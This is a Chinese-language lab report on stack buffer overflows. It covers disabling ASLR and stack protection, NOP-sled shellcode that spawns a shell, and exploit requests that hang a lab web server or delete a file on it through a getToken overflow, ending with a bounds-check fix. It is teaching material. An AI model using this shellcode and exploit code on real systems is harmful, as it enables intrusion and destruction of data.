本實驗是關於緩沖區溢出的原理以及如何利用緩沖區溢出漏洞進行攻擊,分為以下十個練習:
Part A:buffer overflow principal
- Exercise1:output 3 addresses
- Exercise2:use gdb
- Exercise3:turn off ASLR and output addresses again
- Exercise4:print value of %eip when program crashes
- Exercise5:about function badman
- Exercise6:attack stack2.c with shellcode offered
Part B:buffer overflows in the touchstone web server
- Exercise7:find vulnerability in server's code
- Exercise8:crash the web server
- Exercise9:delete file in the server's directory with shellcode
Part C:fixing buffer overflow
- Exercise10:fix the buffer overflow vulnerabilities
在計算機中,通常使用如下圖所示的棧數據結構來控制函數的調用(call)和返回(ret),可以看到我們有一個12字節大小的緩沖區buf,在內存中,緩沖區再往上面依次存放了old-ebp,return address等,對於C語言里眾多不執行邊界檢查的函數,如strcpy,strcat等,使用中很容易造成緩沖區溢出,即old-ebp,retrun address被其它數據覆蓋,從而改變程序執行過程。
Exercise 1:
根據如下代碼,打印出buffer數組的地址,其中注釋部分便是加入的代碼,編譯並運行程序三次,結果如下圖所示,可以看到三次分配給func函數里buffer數組的地址各不相同。
#include <stdlib.h> #include <stdio.h> #include <string.h> void badman() { printf("I am the bad man\n"); return; } int func(char *str) { int variable_a; char buffer[12]; //printf("%p->%p\n",buffer,buffer+11); strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char *buf = "hello\n"; if(argc > 1){ buf = argv[1]; } func(buf); printf("Returned Properly\n"); return 1; }
Exercise2:
學習基本的gdb調試指令:
- b用於設置斷點,這里在func入口處設置斷點,然后r開始運行,可以看到程序會在func入口處停止運行;
- info r用於顯示各寄存器的值,對應的可以用i r register顯示某個特定寄存器的值,如i r $ebp顯示寄存器ebp的值,即當前函數值的棧底指針;
- x/… addr指令用於取addr所存的值,可以指定輸出形式,如x/4wx是以x(hex)形式從指定地址往后打印4個w(4字節一組),還有諸如x/bx,x/10i,x/2s等格式;
- disass func顯示func函數對應的匯編指令以及指令在內存中的地址;
- 可以用p打印變量信息,如p badman打印badman函數的入口地址;
- set命令可以設置變量,地址等的值。
Exercise3:
關閉ASLR,即地址空間隨機化機制:
在終端運行sudo sysctl -w kernel.randomize_va_space=0,將其設為0即可,然后我們再運行三次stack1.c,如下圖所示,可以看到buffer的地址是相同的。
Exercise4:
運行stack1.c時輸入一串字符串作為其參數,增加字符串長度,使程序緩沖區溢出,用gdb查看溢出時eip寄存器的值。
為了查看緩沖區溢出時eip的值,我們需要關閉棧保護機制,否則緩沖區溢出會被檢測到,系統會調用保護函數,此時我們不能看到預期中的eip的值,關閉方法是加-fno-stack-protector參數編譯stack1.c
gcc -g -fno-stack-protector -o stack1 stack1.c
用gdb調試stack1,用set args aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa給程序設置參數,然后運行,程序將會出錯,此時用i r $eip查看eip寄存器的值,結果如下圖所示,程序崩潰是eip的值是0x61616161,即我們的參數覆蓋了返回地址。
Exercise5:
如上圖所示
- 0xffffd82c即存放return address的內存地址($ebp+4);
- set *0xffffd82c=0x0804842b即把這個內存的值改為badman函數的入口地址,那么當func函數結束執行ret語句時,會執行pop %eip,把這個值存到eip,所以接下去程序會跑到badman函數繼續執行;
- badman函數不是經過正常的函數調用而執行的,也就是說沒有執行call指令,把return address入棧,當badman函數結束時,會執行ret語句,把棧頂的值給eip,在這里,這個值是0x08048556,是func函數的參數,是程序數據段的一個地址,所以程序出現了段錯誤。
- 解決方法是在set *0xffffd82c=0x0804842b后加一句set *0xffffd830=08048496,即把本來func函數的返回地址填入badman執行完后將去取值的那個內存,那么當程序從badman返回,會繼續執行main函數里剩下的內容。
Exercise6:
在如下stack2.c添加代碼,運行后彈出一個shell,其中shellcode已經提供。其中我們仿效Alpha One的做法,把shellcode放在緩沖區的中間部分,前面填充NOP(0x90),后面部分全部放地址,使其能夠覆蓋return address。
用以下指令編譯stack2.c:
gcc -g -z execstack -fno-stack-protector -o stack2 stack2.c
因為我們關閉了棧保護,所以我們可以猜測出func函數的buffer地址在main函數buffer下方140字節,我們便使用這個地址來填充,運行stack2,發現shell成功彈出,說明緩沖區溢出成功。
#include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[]= "\x31\xc0" "\x50" "\x68""//sh" "\x68""/bin" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x99" "\xb0\x0b" "\xcd\x80" ; // size = 24 int func(char *str) { char buffer[128]; /* fill code in here: */ strcpy(buffer, str); return 1; } int main(int argc, char**argv) { char buffer[1024]; /* Construct an attack shellcode to pop a shell. * You should put your shellcode into the "buffer" array, and * pass the "buffer" to the function "func". * Your code here: */ int addr = (int)(buffer-140);//關閉棧保護后,這個地址就是func函數buffer數組起始地址,我們不妨直接使用這個地址 int *ptr = (int*)buffer; int i; for(i=0;i<1024;i+=4){ *ptr = addr; ptr++; } char *nop_ptr = buffer; for(i=0;i<128/2;++i) *(nop_ptr++) = 0x90; nop_ptr = buffer+(128/2-strlen(shellcode)/2); for(i=0;i<strlen(shellcode);++i) *(nop_ptr++) = shellcode[i]; func(buffer); printf("Returned Properly\n"); return 1; }
Exercise7:
閱讀server代碼,尋找其中的漏洞,尤其注意parse.c。
找到兩個漏洞,主要在以下代碼中:
服務器是由socket實現的,我們可以把服務器和客戶端兩端視作兩個文件,getChar就是服務器從客戶端socket里讀取一個字符,getToken是讀取一段以空格' '或'\r\n'結尾的字符串,其中getToken會調用getChar讀取一個字符,然后存到s數組中。這里有兩個漏洞:
- getToken函數對' '和'\r\n'以外字符直接進行存儲,並且都不經過數組邊界檢查,所以s數組是很容易溢出的,而且當遇到'\r'時,如果后面沒有'\n',輸入的字符也會被一概存入s;
- s數組溢出之后不僅可以修改return address從而改變程序執行流,而且可以修改參數fd,比如我們可以將其改為0,那么當getToken再調用getChar時,read函數會去標准輸入讀取字符,這樣就可以使服務器端程序停住,而客戶端瀏覽器處於”死等“狀態。
char getChar (int fd) { int n; char c; char *info; n = read (fd, &c, 1);//如果fd等於0,將等待標准輸入 /*******/
} void getToken (int fd, int sepBySpace) { i = 0; char s[1024]; /*********/ while (1){ switch (c){ case ' ': if (sepBySpace){ if (i){ char *p; int kind; // remember the ' ' ahead = A_SPACE; s[i] = '\0'; p = malloc (strlen(s)+1); strcpy (p, s); kind = Token_getKeyWord (p); if (kind>=0){ Token_new (token, kind, 0); return; } Token_new (token, TOKEN_STR, p); return; } Token_new(token, TOKEN_SPACE, 0); return; } s[i++] = c; break; case '\r':{ char c2; c2 = getChar (fd); if (c2=='\n'){ if (i){ char *p; int kind; // remember the ' ' ahead = A_CRLF; s[i] = '\0'; p = malloc (strlen(s)+1); strcpy (p, s); kind = Token_getKeyWord (p); if (kind>=0){ Token_new (token, kind, 0); return; } Token_new (token, TOKEN_STR, p); return; } Token_new(token, TOKEN_CRLF, 0); return; } s[i++] = c; s[i++] = c2; break; } default: s[i++] = c; break; } c = getChar (fd); } return; }
Exercise8:
對於以上找到的漏洞,在browser.c中添加請求字符串,達到crash sever的目的,效果是客戶端一直處於等待response的狀態。
攻擊的關鍵在於找到返回地址所在的地址,我們可以用gdb調試的方法找到這個地址,也可以在parse.c中輸出s和fd的地址,那么ret就在&fd這個地址,這里之所以還要找到s的地址是因為,返回地址的下一個字存放的是fd,我們如果改變了fd,那么調用getChar時,read函數不再是去客戶端socket讀取值,而是根據文件描述符fd去其它文件讀了。
- 編寫一個無限循環的shellcode,如
while(1);
編譯后用objdump可以查看其機器碼,我們可以看到是eb fe,我們將NOP,shellcode,addr分別填入大小為&fd-s的數組,
還有一個關鍵處是我們還要在數組最后加一個' ',這是getToken函數的出口之一,另一個是'\r\n'.
將shellcode代碼存入緩沖區,在最后一個字節填入' ',具體的代碼如下:
char req[1065]; int i; for(i=0;i<1064;++i) req[i] = 0; for(i=0;i<strlen(shellcode);++i) req[i] = shellcode[i]; *((int*)(req+1060)) = 0xbffff9e8;//該地址為getToken的s數組地址 req[1064] = ' '; write(sock_client,req,1065);
2.根據找到的另一漏洞,我們可以不用shellcode,達到同樣的效果,就是將fd的內容改為0,讓read函數等待標准輸入,代碼如下:
char req[1069]; int i; for(i=0;i<1068;++i) req[i] = 0; req[1068] = ' '; write(sock_client,req,1069);
效果如下:
Exercise9:
用shellcode攻擊server,刪除其文件。
對create-shellcode.c中的如下代碼段稍作修改即可得到我們自己的刪除文件的shellcode,我們將push字段的文件路徑ASSIC碼改成我們自己路徑的ASSIC碼,編譯運行該c文件就可以生成我們需要的shellcode。
我的文件目錄是/home/ubuntu/abc.txt,對應的shellcode是
char shellcode[]= "\x31\xc0\x50\x68\x2e" "\x74\x78\x74\x68\x2f" "\x61\x62\x63\x68\x75" "\x6e\x74\x75\x68\x65" "\x2f\x75\x62\x68\x2f" "\x68\x6f\x6d\x89\xe3" "\xb0\x0a\xcd\x80\x31" "\xdb\xb0\x01\xcd\x80";//size 40 bytes
__asm__(".globl mystart\n" "mystart:\n" "xor %eax,%eax\n" /* \x31\xc0 */ "push %eax\n" /* \x50 */ "push $0x7478742e\n" /* \x68 ".txt" */ "push $0x612f6965\n" /* \x68 "ei/a" */ "push $0x6c676e61\n" /* \x68 "angl" */ "push $0x696a2f65\n" /* \x68 "e/ji" */ "push $0x6d6f682f\n" /* \x68 "/home"*/ "mov %esp,%ebx\n" "mov $0xa,%al\n" "int $0x80\n" "xor %ebx,%ebx\n" "mov $0x1,%al\n" "int $0x80\n" ".globl end\n" "end:\n" "leave\n" "ret\n" );
在broswer.c中我們用如下代碼填充我們的緩沖區,在server的/home/ubuntu/目錄下創建abc.txt文件,運行我們的broswer程序之后,可以發現abc.txt被成功刪除。
char req[1065]; long *ptr,*addr_ptr; addr_ptr = (long*)0xbffff9f8; int i; ptr = (long*)req; for(i=0;i<1064;i+=4) *(ptr++) = addr_ptr; for(i=0;i<1024/2;++i) req[i] = 0x90; char *pptr = req+1024/2-strlen(shellcode)/2; for(i=0;i<strlen(shellcode);++i) *(pptr++) = shellcode[i]; req[1064] = ' '; write(sock_client,req,1065);
Exercise10:
修復漏洞,因為漏洞的存在是因為s數組可以溢出,那么我們只需要在每次向s數組寫入時檢查i的大小是否小於1024,如果小於1024,則可以寫入,否則不予寫入。